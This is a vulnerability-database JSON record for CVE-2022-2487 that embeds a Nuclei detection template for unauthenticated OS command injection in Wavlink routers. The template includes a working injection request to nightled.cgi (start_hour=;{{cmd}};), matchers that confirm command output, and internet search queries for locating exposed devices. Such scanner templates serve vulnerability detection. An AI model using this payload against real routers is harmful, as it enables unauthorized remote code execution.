{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-2487/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-2487/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-2487/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-2487/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-2487/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-2487"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-2487"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2022/CVE-2022-2487.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2022-2487\n\ninfo:\n  name: Wavlink WN535K2/WN535K3 - OS Command Injection\n  author: For3stCo1d\n  severity: critical\n  description: |\n    Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection which affects unknown code in /cgi-bin/nightled.cgi via manipulation of the argument start_hour. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.\n  remediation: |\n    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.\n  reference:\n    - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20nightled.cgi%20.md\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2487\n    - https://vuldb.com/?id.204538\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-2487\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-2487\n    cwe-id: CWE-78\n    epss-score: 0.79513\n    epss-percentile: 0.99593\n    cpe: cpe:2.3:o:wavlink:wl-wn535k2_firmware:-:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: wavlink\n    product: wl-wn535k2_firmware\n    shodan-query:\n      - http.title:\"Wi-Fi APP Login\"\n      - http.title:\"wi-fi app login\"\n    fofa-query: title=\"wi-fi app login\"\n    google-query: intitle:\"wi-fi app login\"\n  tags: cve,cve2022,iot,wavlink,router,rce,oast,vkev,vuln\nvariables:\n  cmd: \"id\"\n\nhttp:\n  - raw:\n      - |\n        @timeout: 10s\n        POST /cgi-bin/nightled.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        page=night_led&start_hour=;{{cmd}};\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"uid=\"\n          - \"gid=\"\n          - \"nightStart\"\n        condition: and\n\n      - type: word\n        words:\n          - text/html\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a0048304602210083fc5da03105c9872494aa30543bb6b45daef64b8be2998460a552d252b6f294022100ec024eefba047bbed06143235b5652ac38076fa8182ad893dd4932922eeef125:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2022-2487"
}